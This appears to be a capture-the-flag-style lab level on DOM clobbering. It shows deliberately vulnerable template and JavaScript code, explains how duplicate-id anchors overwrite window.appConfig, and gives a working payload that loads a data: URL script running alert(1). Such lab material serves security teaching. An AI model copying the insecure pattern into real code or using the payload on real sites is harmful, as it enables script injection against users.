Level 3: DOM Clobbering
MISSION: Inject HTML tags to overwrite the global window.appConfig variable and force the page to load your own script.
/// SOURCE CODE INSPECTOR ///
<!-- Client-Side HTML & JS -->
<div id="user-content">
<!-- User input is injected here (no <script> allowed, but HTML is OK) -->
<%= user_payload %>
</div>
<script>
setTimeout(() => {
// App relies on a global object that hasn't been explicitly defined yet
let config = window.appConfig || { scriptUrl: '/assets/default.js' };
let s = document.createElement('script');
s.src = config.scriptUrl;
document.body.appendChild(s);
}, 500);
</script>
/// DECRYPTION COMPLETE ///
To successfully overwrite window.appConfig.scriptUrl, a single element isn't enough because standard elements don't have a scriptUrl property. Instead, we must use a Multi-Level DOM Clobber.
By injecting two elements with the same id, the browser creates an HTMLCollection. We can then access the second element via its name attribute. When the JavaScript assigns the anchor tag to s.src, the browser calls .toString() on the anchor, which evaluates to its href attribute.
Payload:
<a id="appConfig"></a><a id="appConfig" name="scriptUrl" href="data:text/javascript,alert(1)"></a>